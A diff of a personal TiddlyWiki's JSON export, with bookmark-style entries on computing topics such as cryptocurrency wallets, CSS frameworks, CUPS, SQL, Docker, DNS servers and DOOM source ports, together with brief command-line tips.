{"title":"Computing","created":"20231224171029994","creator":"Octt","modified":"20231227005340172","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Computing\">>\n\n* [[Computernewb|https://computernewb.com/]] --- //personal domain where I host various projects, probably the most famous one being CollabVM//\n\n* \u003C\u003CWikipediaL \"pushd and popd\">>\n"}, {"title":"Content delivery network","created":"20231229013447885","creator":"Octt","modified":"20240102003406854","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Content delivery network\">>\n\n* //''[[ESM>CDN (esm.sh)|https://esm.sh/]]'' esm.sh is a modern CDN that allows you to import es6 modules from a URL// --- \u003C\u003C[# Git\"https://github.com/esm-dev\">>\n"}, {"title":"Copypasta","created":"20230301115915481","creator":"Octt","modified":"20230823101701370","modifier":"Octt","tags":"Meme","text":"\u003C\u003C^wikipediaframe Copypasta>>\n\n* \u003C\u003CRedditL r/copypasta r/copypasta>>\n* [[Copypastas on Trollpasta Wiki|https://trollpasta.com/wiki/Category:Copypasta]]\n* [[Copypasta epiche|https://t.me/epiccopypasta]]\n* [[CopyPasta Italia|https://t.me/copypastaita]]\n\n!!! ''Some specific copypastas''\n\n* [[GNU/Linux Copypasta|https://stallman-copypasta.github.io/]]\n* \u003C\u003CRedditL r/copypasta/comments/158apup/ben_shapiro_on_femboys/ \"Ben Shapiro on femboys\">>\n"}, {"title":"Copyright","created":"20231022234706178","creator":"Octt","modified":"20231022234838813","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Copyright>>\n\n* [[Um, is it normal for someone to casually admit to pirating stuff?|https://www.resetera.com/threads/um-is-it-normal-for-someone-to-casually-admit-to-pirating-stuff.156559/]] --- This thread made me laugh, \"did you admit to a crime\" LMAO\n"}, {"title":"Creative Commons/BY-SA 4.0:en","created":"20220925131851817","modified":"20230206111552087","modifier":"Octt","tags":"TODO $:/i18n:en","text":"!! Creative Commons\n\n!!! ''Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)''\n\nThis is a human-readable summary of (and not a substitute for) the [[license|https://creativecommons.org/licenses/by-sa/4.0/legalcode]].\n\n\u003Cdetails>\n\u003Csummary>Disclaimer\u003C/summary>\n\u003Cp>This deed highlights only some of the key features and terms of the actual license. It is not a license and has no legal value. You should carefully review all of the terms and conditions of the actual license before using the licensed material.\u003C/p>\n\n\u003Cp>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying, or linking to this deed or the license that it summarizes does not create a lawyer-client or any other relationship.\u003C/p>\n\u003C/details>\n\n[img[$:/ThirdParty/Buttons/CC BY-SA.svg]]\n\n!!!'' You are free to:''\n\n''Share'' — copy and redistribute the material in any medium or format\n\n''Adapt'' — remix, transform, and build upon the material\nfor any purpose, even commercially.\n\nThe licensor cannot revoke these freedoms as long as you follow the license terms.\n\n!!! ''Under the following terms:''\n\n''Attribution'' — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n\n''ShareAlike'' — If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.\n\n''No additional restrictions'' — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.\n\n!!! ''Notices:''\nYou do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.\n\nNo warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material."}, -{"title":"Cryptocurrency","created":"20230218181942782","creator":"Octt","modified":"20230218191138256","modifier":"Octt","tags":"","text":"[[]]\u003C\u003C^wikipediaframe Cryptocurrency>>\n\n* Cryptocurrencies are usually decentralized; in such cases, they are based on a [[Blockchain]].\n*\n\n!! Some cryptocurrencies (+ tokens)\n\n\n!!! ''[[Bitcoin|https://bitcoin.org/]]'' (BTC)\n\n* https://github.com/bitcoin\n\n; Self-custocial Wallets\n: [[Mycelium|https://wallet.mycelium.com/]] (Android) - \u003C\u003C[ \"[[Git|https://github.com/mycelium-com]]\">>\n\n\n!!! ''[[Ethereum|https://ethereum.org/]]'' (ETH)\n\n* https://github.com/ethereum\n\n; Self-custodial Wallets\n: [[AlphaWallet|https://alphawallet.com/]] (Android) - \u003C\u003C[ \"[[Git|https://github.com/AlphaWallet]]\">>\n: [[Metamask|https://metamask.io/]] (Web Extension, Android) - \u003C\u003C[ \"[[Git|https://github.com/MetaMask]]\">>\n\n\n!!! ''[[Monero|https://www.getmonero.org/]]'' (XMR)\n\n* https://github.com/monero-project\n\n; Self-custodial Wallets\n: [[MyMonero|https://mymonero.com/]] (Web, Android, PC) - \u003C\u003C[ \" [[Git|https://github.com/mymonero]]\">>\n"}, +{"title":"Cryptocurrency","created":"20230218181942782","creator":"Octt","modified":"20240127233538211","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Cryptocurrency>>\n\n* Cryptocurrencies are usually decentralized; in such cases, they are based on a [[Blockchain]].\n\n!! Some cryptocurrencies (+ tokens)\n\n!!! ''[[Bitcoin|https://bitcoin.org/]]'' (BTC)\n\n* https://github.com/bitcoin\n\n; Self-custocial Wallets\n: [[Mycelium|https://wallet.mycelium.com/]] (Android) - \u003C\u003C[ \"[[Git|https://github.com/mycelium-com]]\">>\n\n\n!!! [[Dash|https://www.dash.org/]]\n\n//Dash is an experimental digital currency that enables instant, private payments to anyone, anywhere in the world.//\n\nIt's a fork of Bitcoin. There are some advantages, some technical and some situational, but a strange disadvantage I have seen appears to be that wallet syncs take a lot of time.\n\n* https://github.com/dashpay\n\n!!! [[Duino-Coin|https://github.com/revoxhere/duino-coin]]\n\n//Simple, eco-friendly, centralized coin that can be mined with microcontrollers.//\n\n* https://github.com/revoxhere/duino-coin\n\n!!! ''[[Ethereum|https://ethereum.org/]]'' (ETH)\n\n* https://github.com/ethereum\n\n; Self-custodial Wallets\n: [[AlphaWallet|https://alphawallet.com/]] (Android) - \u003C\u003C[ \"[[Git|https://github.com/AlphaWallet]]\">>\n: [[Metamask|https://metamask.io/]] (Web Extension, Android) - \u003C\u003C[ \"[[Git|https://github.com/MetaMask]]\">>\n\n\n!!! ''[[Monero|https://www.getmonero.org/]]'' (XMR)\n\n* https://github.com/monero-project\n\n; Self-custodial Wallets\n: [[MyMonero|https://mymonero.com/]] (Web, Android, PC) - \u003C\u003C[ \" [[Git|https://github.com/mymonero]]\">>\n"}, {"title":"CSS","created":"20230209150101862","creator":"Octt","icon":"💅","modified":"20240107152919931","modifier":"Octt","page-cover":"https://images.unsplash.com/photo-1523437113738-bbd3cc89fb19","tags":"Web Frontend","text":"\u003C\u003C^wikipediaframe CSS en>>\n\n!!! ''References''\n\n* [[CSS Attribute Selectors|https://www.w3schools.com/css/css_attribute_selectors.asp]]\n* [[CSS Borders [w3s]|https://www.w3schools.com/css/css_border.asp]]\n** \u003C\u003CMDNLink Web/CSS/border-style border-style>> --- all ways to style a border, not only colors\n\n!!! ''Frameworks''\n\n* [[Bulma|https://bulma.io/]] --- //modern CSS framework that just works//\n* [[PaperCSS|https://www.getpapercss.com/]] --- //the less formal CSS framework//\n* [[W3.CSS|https://www.w3schools.com/w3css/default.asp]] --- //A Quality Alternative to Bootstrap, is Smaller, Faster and Easier to Use.//\n\n!!! ''Amazing''\n\n* [[CSS Zen Garden|https://csszengarden.com/]] --- //The Beauty of CSS Design//\n* [[Pure CSS Minesweeper|https://codepen.io/bali_balo/pen/BLJONZ?editors=1100]]\n* [[Spinning Diagrams with CSS|https://x.st/spinning-diagrams-with-css]]\n* [[Bubble Sort...in PURE CSS? [No JS] 😱|https://dev.to/grahamthedev/bubble-sortin-pure-css-no-js-3bb1]]\n* [[25 CSS Paper Effects|https://freefrontend.com/css-paper-effects/]]\n* [[Reusable CSS \"Sticker\" Effect|https://dev.to/5t3ph/reusable-css-sticker-effect-44lc]]\n"}, {"title":"CTGP Nitro","created":"20230205150034992","creator":"Octt","modified":"20230213165348163","modifier":"Octt","tags":"Mod [[Mario Kart DS]]","text":"//Rediscover Mario Kart DS once again!//\n\n//''[[CTGP Nitro|https://dswiki.garhoogin.com/ctgp-n/]]'' is the biggest, most ambitious Mario Kart DS Rom Hack to date. Instead of replacing the existing tracks, it preserves the whole vanilla experience and adds new tracks, speedrunning quality of life improvements, online mode adjustments, new skins for characters and much more!//\n"}, {"title":"CUPS","created":"20230825221340887","creator":"Octt","modified":"20230902000445288","modifier":"Octt","tags":"Unix Printing","type":"","text":"\u003C\u003C^wikipediaframe CUPS>>\n\n* [[CUPS: Command-Line Printing and Options|http://www.it.uu.se/datordrift/maskinpark/skrivare/cups/]] including Linux-specific ones.\n* [[CUPS-PDF, Print to PDF from any Application|https://cubiclenate.com/2021/01/21/cups-pdf-print-to-pdf-from-any-application/]] --- Must probably be installed separately via `cups-pdf` package --- Outputs are by default in `~/PDF/`\n\n* [[How do you administer CUPS remotely using the web interface?|https://askubuntu.com/questions/23936/how-do-you-administer-cups-remotely-using-the-web-interface]] --- `cupsctl --remote-admin --remote-any ` (and optionally `--share-printers`), then restart `cups` service, and visit `http://{IpAddress}:631`. Redo commands but with `no-` suffix to flags to disable the feature.\n"}, @@ -1135,7 +1138,7 @@ {"title":"Database","created":"20231223234312578","creator":"Octt","modified":"20240119162211752","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Database>>\n\n!! SQL (Structured Query Language)\n\n\u003C\u003C^wikipediaframe SQL>>\n\n* [[SQL Tutorial - Essential SQL For The Beginners|https://www.sqltutorial.org/]], //helps you get started with SQL quickly and effectively through many practical examples.//\n\n* [[SQL Server reverse order after using desc|https://stackoverflow.com/questions/12534248/sql-server-reverse-order-after-using-desc]] --- just use a subselect subquery, `SELECT * FROM (... ORDER BY x DESC) _ ORDER BY x ASC`\n* [[How to count instances of character in SQL Column|https://stackoverflow.com/questions/1860457/how-to-count-instances-of-character-in-sql-column#1860478]] --- `SELECT LEN(col) - LEN(REPLACE(col, 'x', ''))`\n** [[SQL String: Counting Words inside a String|https://stackoverflow.com/questions/41952250/sql-string-counting-words-inside-a-string]] --- various methods more specially catered for counting words, than the naive space counting\n** Note: for counting in many rows together, the `SUM()` function must be used, [[or else you will go mad like me|https://chat.openai.com/share/5883b4c6-37cf-40e3-b735-9cd52b26020c]]\n\n!!! MySQL \\ MariaDB\n\n\u003C\u003C^wikipediaframe MySQL>>\n\u003C\u003C^wikipediaframe MariaDB>>\n\n* [[How to install MySQL (MariaDB) on Android with Termux|https://parzibyte.me/blog/en/2019/04/16/install-mysql-mariadb-android-termux/]]\n* [[--skip-grant-tables option cannot execute statement|https://stackoverflow.com/questions/54751024/skip-grant-tables-option-cannot-execute-statement]] --- in `mysql>` execute `flush privileges`\n\n* [[MySQL LENGTH() Function|https://www.w3schools.com/sql/func_mysql_length.asp]] (not LEN on MySQL!)\n"}, {"title":"Demoscene","created":"20230425095136540","creator":"Octt","modified":"20231107212630799","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Demoscene>>\n\n* \u003C\u003ChttpsL www.untergrund.net>> --- //free hosting service for demoscene related projects//\n\n\u003C\u003C{ \"Tech Art\">>\n"}, {"title":"Development","created":"20230613185754543","creator":"Octt","modified":"20231227013022723","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Software development\">>\n\n!!! Tools\n\n* [[AST explorer|https://astexplorer.net/]] --- //A web tool to explore the ASTs generated by various parsers.// --- \u003C\u003C[# Git\"https://github.com/fkling/astexplorer\">>\n** [[metajs|http://www.jezng.com/metajs/]] --- //visualize javascript AST execution// --- \u003C\u003C[# Git\"https://github.com/int3/metajs\">>\n* [[NamsoGen|https://namso-gen.com]] --- //Your Testing Toolkit//\n\n!!! Resources\n\n* \u003C\u003CWikipediaL \"Dependency hell\">>\n\n* \u003C\u003CRedditL r/webdev/comments/spr2db/confused_about_web_app_architecture_and/ \"Confused about web app architecture and separation of frontend and backend\">>\n* [[What package naming convention do you use for personal/hobby projects|https://stackoverflow.com/questions/292169/what-package-naming-convention-do-you-use-for-personal-hobby-projects-in-java]] in Java/Android/Flatpak?\n* [[Should images be stored in a git repository?|https://softwareengineering.stackexchange.com/questions/80962/should-images-be-stored-in-a-git-repository]] [or any SCM]\n\n* [[Why would a game developer write their own engine instead of using existing ones?|https://gamedev.stackexchange.com/questions/74388/why-would-a-game-developer-write-their-own-engine-instead-of-using-existing-ones]]\n** \u003C\u003CRedditL r/gamedev/comments/91u7ia/is_it_worth_my_time_in_2018_to_make_a_game_using \"Is it worth my time in 2018 to make a game using only C and SDL?\">>\n* [[How to Mix C and Assembly|https://www.devdungeon.com/content/how-mix-c-and-assembly]]\n\n* [[Compilation and Installation using Autoconf|https://opensource.apple.com/source/X11libs/X11libs-60/mesa/Mesa-7.8.2/docs/autoconf.html]]\n* [[What is the purpose of .PHONY in a Makefile?|https://stackoverflow.com/questions/2145590/what-is-the-purpose-of-phony-in-a-makefile]] --- TLDR: it's to declare \"fake\" targets that must build independently from actual files on disk (that make would otherwise use as targets), it doesn't mean \"sound\" or \"pronunciation\" or otherwise the full list of only allowed build targets, as I initially thought because of associating phony => telephony => ...\n* [[Makefile Tutorial by Example|https://makefiletutorial.com]] --- //Learn Makefiles With the tastiest examples// --- \u003C\u003C[# Git\"https://github.com/theicfire/makefiletutorial\">>\n* \u003C\u003Clinkdescgit \"Modern CMake\" \"https://cliutils.gitlab.io/modern-cmake/\" \"A book about using CMake for your projects\" \"https://gitlab.com/CLIUtils/modern-cmake\">>\n\n* [[Replit: The software creation platform. IDE, AI, and Deployments|https://replit.com/]]\n** [[Repl.it Offline|https://web.archive.org/web/20230330151345/https://offline.repl.it/]] (joke) --- //Repl.it's most requested feature has finally come: an offline, local-first IDE.//\n*** [[We still get mailed code and we still mail back outputs in case you thought we stopped https://offline.repl.it|https://web.archive.org/web/20230129101236/https://twitter.com/amasad/status/1442672024397045761]]\n\n* [[GPL and Linking Exceptions|https://opensource.stackexchange.com/questions/14122/gpl-and-linking-exceptions]]\n** //You can use LGPLv3 with the [[LGPL-3.0-linking-exception|https://spdx.org/licenses/LGPL-3.0-linking-exception.html]]//\n* [[What does \"GPL with classpath exception\" mean in practice?|https://softwareengineering.stackexchange.com/questions/119436/what-does-gpl-with-classpath-exception-mean-in-practice]]\n"}, -{"title":"Development/Resources","created":"20230216222435750","creator":"Octt","modified":"20240119165525443","modifier":"Octt","tags":"Development","text":"* [[Rico's cheatsheets (devhint.io)|https://devhints.io/]] --- //TL;DR for developer documentation - a ridiculous collection of cheatsheets// --- \u003C\u003C[# Git \"https://github.com/rstacruz/cheatsheets\">>\n\n; Learning, Reference\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[MDN Web Docs|https://developer.mozilla.org/en-US/]] (Mozilla)\n: [[Programiz|https://www.programiz.com/]]\n: [[Programming Simplified|https://www.programmingsimplified.com/]] --- //C C++ and Java programming tutorials and programs//\n: [[W3Schools|https://www.w3schools.com/]]\n: [[W3docs|https://www.w3docs.com/]] --- //Tutorials, Quizzes, Certificates, Frameworks, Solutions//\n: \u003C\u003Clinkdescgit DevDocs \"https://devdocs.io\" \"API Documentation Browser\" \"https://github.com/freeCodeCamp/devdocs\">>\n: [[DevTut|https://devtut.github.io/]] --- //Tutorials compiled from StackOverflow Documentation// --- \u003C\u003C[# \"Source Git\" \"https://github.com/devtut/generate\">> \u003C\u003C[# \"Deploy Git\" \"https://github.com/devtut/devtut.github.io\">>\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n\n; Badges\n: \u003C\u003Clinkdescgit \"For the Badge\" \"https://forthebadge.com\" \"We don't develop for the money, power, fame, or codebabes. We do it For the Badge.\" \"https://github.com/BraveUX/for-the-badge\">>\n: \u003C\u003Clinkdescgit Shields.io \"https://shields.io\" \"badges as a service\" \"https://github.com/badges\">>\n"}, +{"title":"Development/Resources","created":"20230216222435750","creator":"Octt","modified":"20240127215554237","modifier":"Octt","tags":"Development","text":"* [[Rico's cheatsheets (devhint.io)|https://devhints.io/]] --- //TL;DR for developer documentation - a ridiculous collection of cheatsheets// --- \u003C\u003C[# Git \"https://github.com/rstacruz/cheatsheets\">>\n\n; Learning, Reference\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[MDN Web Docs|https://developer.mozilla.org/en-US/]] (Mozilla)\n: [[Programiz|https://www.programiz.com/]]\n: [[Programming Simplified|https://www.programmingsimplified.com/]] --- //C C++ and Java programming tutorials and programs//\n: [[W3Schools|https://www.w3schools.com/]]\n: [[W3docs|https://www.w3docs.com/]] --- //Tutorials, Quizzes, Certificates, Frameworks, Solutions//\n\n; Collections and aggregates\n: \u003C\u003Clinkdescgit DevDocs \"https://devdocs.io\" \"API Documentation Browser\" \"https://github.com/freeCodeCamp/devdocs\">>\n: [[Developer's Documentation Collections|https://devdoc.net/]] --- //(aka API docs: devdoc)//\n: [[DevTut|https://devtut.github.io/]] --- //Tutorials compiled from StackOverflow Documentation// --- \u003C\u003C[# \"Source Git\" \"https://github.com/devtut/generate\">> \u003C\u003C[# \"Deploy Git\" \"https://github.com/devtut/devtut.github.io\">>\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n\n; Badges\n: \u003C\u003Clinkdescgit \"For the Badge\" \"https://forthebadge.com\" \"We don't develop for the money, power, fame, or codebabes. We do it For the Badge.\" \"https://github.com/BraveUX/for-the-badge\">>\n: \u003C\u003Clinkdescgit Shields.io \"https://shields.io\" \"badges as a service\" \"https://github.com/badges\">>\n"}, {"title":"DevKitPro","created":"20230130081618018","creator":"Octt","modified":"20230130081716116","modifier":"Octt","tags":"TODO"}, {"title":"Digital Garden","created":"20230217224333827","creator":"Octt","icon":"🍀","modified":"20230228222424404","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?digital-garden","tags":"","text":"I still haven't yet understood what are the exact connotations of this term.\n\n* Defined as something you slowly curate over time with focus on the fact itself and not on the ultimate outcome/result\n* It's definitely the opposite of a blog (no posts strictly related to date, preferably many small ideas, ...)\n* Is a digital garden a [[Wiki]]? A [[Personal Knowledge Base]] with [[Zettelkasten]] method? Static [[Website]] with many \"classic-style\" WIP pages? A personal [[Notebook]] left open to the public to read?\n\n; Explanations, Demos, Discussions\n: \u003C\u003CYoutubeL TDqsr3MNTTc \"What is a Digital Garden? Everything you need to know 🌱\">>\n: \u003Cdiv>\n\n; \u003C\u003CYoutubeL Hn6_4ZzcpiY \"Digital Gardening: Explained\">>\n: //A digital garden is an online space at the intersection of a notebook and a blog, where digital gardeners share seeds of thoughts to be cultivated in public.//\n\u003C/div>\n: \u003C\u003CYoutubeL v8CBE7jPPTk \"🪴 How To Grow Your Own Digital Garden with Maggie Appleton\">>\n\n; Tools - some are under [[Personal Knowledge Base]]\n: [[garden 🌱|https://digital-garden.dev/]] - starter kit for making a more blog-oriented digital garden - \u003C\u003C[ \"[[Git|https://github.com/inadeqtfuturs/garden]]\">>\n\n; Misc\n: [[Digital Gardening Tools and Resources|https://github.com/MaggieAppleton/digital-gardeners]]\n"}, {"title":"Digital signing","created":"20231219000332676","creator":"Octt","modified":"20231219000432315","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Digital signing\">>\n\n* [[Create Your Own Certificate Authority With OpenSSL and NGINX On Ubuntu 20.04|https://www.questioncomputer.com/create-your-own-certificate-authority-with-openssl-and-nginx-on-ubuntu-20-04/]]\n"}, @@ -1143,8 +1146,8 @@ {"title":"Display","created":"20230217074841336","creator":"Octt","modified":"20230217075021314","modifier":"Octt","tags":"Device Output","text":"\u003C\u003C^wikipediaframe \"Display device\">>"}, {"title":"DIY","created":"20230605212401089","creator":"Octt","modified":"20231223222317790","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe DIY>>\n\n!! ''Repairs''\n\n* [[Repair Preservation Group Wiki (repair.wiki)|https://repair.wiki/w/Repair_Wiki]]\n* [[Woodgears.ca|https://woodgears.ca/]] --- //An engineer's approach to\nWoodworking//\n\n* [[Notes on the Troubleshooting and Repair of Television Sets|https://www.repairfaq.org/samnew/tvfaq.htm]]\n** [[CRT repair and troubleshooting|https://repair.wiki/w/CRT_repair_and_troubleshooting]]\n"}, {"title":"DNS","created":"20230209103557956","creator":"Octt","modified":"20230920082855436","modifier":"Octt","tags":"Internet","text":"\u003C\u003C^wikipediaframe \"Domain Name System\">>\n\n; Tools\n: [[DNS Toys|https://www.dns.toys/]] - //Useful utilities and services over DNS//\n\n; Misc\n: [[Bizarre and Unusual Uses of DNS [FOSDEM23]|https://fosdem.org/2023/schedule/event/dns_bizarre_and_unusual_uses_of_dns/]] - //Rule 53: If you can think of it, someone's done it in the DNS//\n: [[DNS over Wikipedia|https://github.com/aaronjanse/dns-over-wikipedia]] --- //Redirect `.idk` domains using Wikipedia//\n\n!!! ''List of some DNS servers''\n\n(including \u003C\u003CWikipediaLink \"DNS over TLS\" en \" \">>, easily usable on [[Android]] >= 9):\n\n; 🇺🇸 ''[[Cloudflare|https://1.1.1.1/]]'' (avoid):\n: \u003C\u003CWikipediaLink- \"1.1.1.1\" en>>\n\n; 🇪🇺 ''[[dns0.eu|https://www.dns0.eu/]]'' (new, never tried it)\n: Seen on [[Feddit.it|https://feddit.it/post/145578]]\n\n; 🇺🇸 ''[[Google|https://dns.google/]]'' (avoid):\n: \u003C\u003CWikipediaLink- \"Google Public DNS\" en>>\n\n; 🇨🇭 ''[[Quad9|https://www.quad9.net/]]'' (good):\n: \u003C\u003CWikipediaLink- \"Quad9#Service\" en>>\n\n; 🇩🇰 [+ 🇺🇸] ''[[UncensoredDNS|https://blog.uncensoreddns.org/]]'' (ideally perfect but I found it crashed sometimes or got slow):\n: \u003Cdiv>\n\n\u003C\u003C\u003C\n; anycast.uncensoreddns.org\n: Anycast from multiple locations.\n* DNS-over-TLS: `anycast.uncensoreddns.org:853`\n* DNS-over-HTTPS: `https://anycast.uncensoreddns.org/dns-query`\n*IPv4: `91.239.100.100`\n*IPv6: `2001:67c:28a4::`\n\u003C\u003C\u003C\n\u003C\u003C\u003C\n; unicast.uncensoreddns.org\n: This node is hosted at AS9167 in Copenhagen, Denmark.\n* DNS-over-TLS: `unicast.uncensoreddns.org:853`\n* DNS-over-HTTPS: `https://unicast.uncensoreddns.org/dns-query`\n* IPv4: `89.233.43.71`\n* IPv6: `2a01:3a0:53:53::`\n\u003C\u003C\u003C\n\u003C/div>\n\n\u003C!--\nTODO: \n- Link to the specific reasons of why to avoid certain DNS providers\n-->\n"}, -{"title":"Docker","created":"20230722232624533","creator":"Octt","modified":"20240110005619440","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe \"Docker (software)\">>\n\n!!! Commands\n\n* `start`, `restart`: On existing containers, respectively ''start'' if it's not running, or ''restart'' at any condition\n\n!!! Flags\n\n* Passing ports: `-p Host:Container`, eg `-p 8080:80`\n\n!!! Resources\n\n* [[ERROR: Pool overlaps with other one on this address space 'bridge'|https://stackoverflow.com/questions/56515128/error-pool-overlaps-with-other-one-on-this-address-space-when-starting-my-proje#60506716]] --- to destroy other networks and quickly fix, `docker network prune`\n"}, -{"title":"Document","created":"20230816230347077","creator":"Octt","modified":"20230920092125731","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Document>>\n\n* \u003C\u003Clink+desc+git ONLYOFFICE \"https://www.onlyoffice.com\" \"An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents\" \"https://github.com/ONLYOFFICE\">> \u003C\u003C#[ \"Android Git and APKs\" \"https://github.com/ONLYOFFICE/documents-app-android\">>\n\n* \u003C\u003CRedditL r/humblebundles/comments/7z37lo/pdf_or_cbz_for_absolute_best_image_quality \"PDF or CBZ for absolute best image quality?\">>\n* \u003C\u003CRedditL r/humblebundles/comments/7tks9g/is_there_a_clear_winner_for_best_format_to \"Is there a clear winner for best format to download comics?\">>\n"}, +{"title":"Docker","created":"20230722232624533","creator":"Octt","modified":"20240121193357828","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe \"Docker (software)\">>\n\n!!! Commands\n\n* `start`, `restart`: On existing containers, respectively ''start'' if it's not running, or ''restart'' at any condition\n* `volume ls`: List internal volumes\n\n!!! Flags\n\n* Passing ports: `-p Host:Container`, eg `-p 8080:80`\n\n!!! Resources\n\n* [[ERROR: Pool overlaps with other one on this address space 'bridge'|https://stackoverflow.com/questions/56515128/error-pool-overlaps-with-other-one-on-this-address-space-when-starting-my-proje#60506716]] --- to destroy other networks and quickly fix, `docker network prune`\n"}, +{"title":"Document","created":"20230816230347077","creator":"Octt","modified":"20240128002305848","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Document>>\n\n* \u003C\u003ChttpsL Crypt.ee>> --- //Cryptee is a privacy focused, encrypted and secure documents, notes, files and photos service// --- seems nifty but apparently it's not truly open-source, just the web client code is. --- \u003C\u003C#[ Git\"https://github.com/cryptee\">>\n* [[CryptPad|https://cryptpad.org/]] --- //Collaborative office suite that is end-to-end encrypted and open-source// --- \u003C\u003C[# Git\"https://github.com/cryptpad\">>\n* \u003C\u003Clink+desc+git ONLYOFFICE \"https://www.onlyoffice.com\" \"An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents\" \"https://github.com/ONLYOFFICE\">> \u003C\u003C#[ \"Android Git and APKs\" \"https://github.com/ONLYOFFICE/documents-app-android\">>\n\n* \u003C\u003CRedditL r/humblebundles/comments/7z37lo/pdf_or_cbz_for_absolute_best_image_quality \"PDF or CBZ for absolute best image quality?\">>\n* \u003C\u003CRedditL r/humblebundles/comments/7tks9g/is_there_a_clear_winner_for_best_format_to \"Is there a clear winner for best format to download comics?\">>\n"}, {"title":"DOOM","created":"20230116202834289","creator":"Octt","modified":"20231219001834096","modifier":"Octt","tags":"TODO FPS Retro $:/i18n:en Game","text":"\u003C\u003C^wikipediaframe Doom_(videogame) en>>\n\n* [[Chocolate Doom|https://www.chocolate-doom.org]] --- //Doom source port that accurately reproduces the experience of Doom as it was played in the 1990s// with limited mod support but high cross-platform support --- \u003C\u003C[# Git\"https://github.com/chocolate-doom/chocolate-doom\">>\n* [[ZDoom Team|https://zdoom.org/]] --- //team of developers and contributors [...] primarily develop and maintain the GZDoom and Raze source ports, and also some of the tools that can be used to fascilitate editing of game modifications which are supported by them//\n** [[GZDoom|https://github.com/ZDoom/gzdoom]] --- //GZDoom is a feature centric port for all Doom engine games, based on ZDoom, adding an OpenGL renderer and powerful scripting capabilities//\n\n* [[WAD Commander|https://wadcmd.com/]] --- //WAD Commander is a tool running in modern browsers to load and play WAD files of DOOM® and DOOM II®.//\n* [[Wasm Doom by Cloudflare|https://silentspacemarine.com/]] --- //Chocolate Doom WebAssembly port with WebSockets support// --- \u003C\u003C[# Git\"https://github.com/cloudflare/doom-wasm\">>\n\n* //[[Mi dicono dalla regia che esattamente 30 anni fa, #DOOM viene ufficialmente rilasciato. Che dire…|https://octospacc.altervista.org/2023/12/10/416/]]//\n\n* //''[[Freedoom project|https://freedoom.github.io/]]'' aims to create a complete free content game based on the Doom engine// --- \u003C\u003C[# Git\"https://github.com/freedoom\">>\n* [[Eviternity II|https://eviternity.dfdoom.com/]] --- //full 36-map megawad sequel to Eviternity//, with apparently nice-looking levels\n\n\u003C!--\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://dos.zone/player/?bundleUrl=https://cdn.dos.zone/custom/dos/doom.jsdos&exit=1\">>\n--->\n"}, {"title":"DOS","created":"20231102223250475","creator":"Octt","modified":"20231223111404767","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe DOS>>\n\n* //''[[FreeDOS|https://freedos.org/]]'' --- is a free software operating system for IBM PC compatible computers.//\n\n* [[js-dos v7|https://js-dos.com/]] --- //The simplest API to run DOS games in browser// --- \u003C\u003C[# Git\"https://github.com/js-dos\">>\n** [[DOS Zone|https://dos.zone/]] --- //Ultimate collection of online dos games//\n\n* [[DOS haven|http://www.doshaven.eu/]] --- //21st century DOS games//, and related resources like homebrews, tools, and codes\n"}, {"title":"dpkg","created":"20230901234812489","creator":"Octt","modified":"20230901235302500","modifier":"Octt","tags":"Debian","text":"\u003C\u003C^wikipediaframe dpkg>>\n\n* [[Ignore all dependencies for a specific package with apt-get|https://superuser.com/a/815371]] --- First install the package with `--force-depends` (dpkg) or `--nodeps` (apt), then find the offending package in `/var/lib/dpkg/status`, and edit the `Depends:` line to remove/alter the problematic dependency.\n"}, @@ -1174,7 +1177,7 @@ {"title":"Forum","created":"20230919202116604","creator":"Octt","icon":"🏛️","modified":"20231105113634908","modifier":"Octt","page-cover":"https://source.unsplash.com/random?forum","tags":"WIP","text":"\u003C\u003C^wikipediaframe \"Internet Forum\">>\n\n* [[Discoure|https://www.discourse.org]] --- //A platform for community discussion. Free, open, simple.// --- \u003C\u003C#[ Demo \"https://try.discourse.org\">> \u003C\u003C#[ Git \"https://github.com/discourse\">>\n** Nice UI and UX, limited plugins are available but they are useful, it all makes good the renewed idea of the forum in the third decade... but the tech stack is bad: installation without Docker is not supported at all (there are really too many complicated components in the system), has [[relatively high requirements|https://github.com/discourse/discourse/blob/435ba4d03dfa3abf844f6421f0da37545a99deb3/docs/INSTALL.md]], and doesn't work properly without client-side JavaScript (making frontend performance and flexibility worse).\n* \u003C\u003Clinkdescgit Flarum\"https://flarum.org\" \"Simple forum software for building great communities.\" \"https://github.com/flarum\">>\n* [[MyBB|https://mybb.com/]] --- \u003C\u003C[# Git \"https://github.com/mybb\">>\n* [[phpBB]]\n"}, 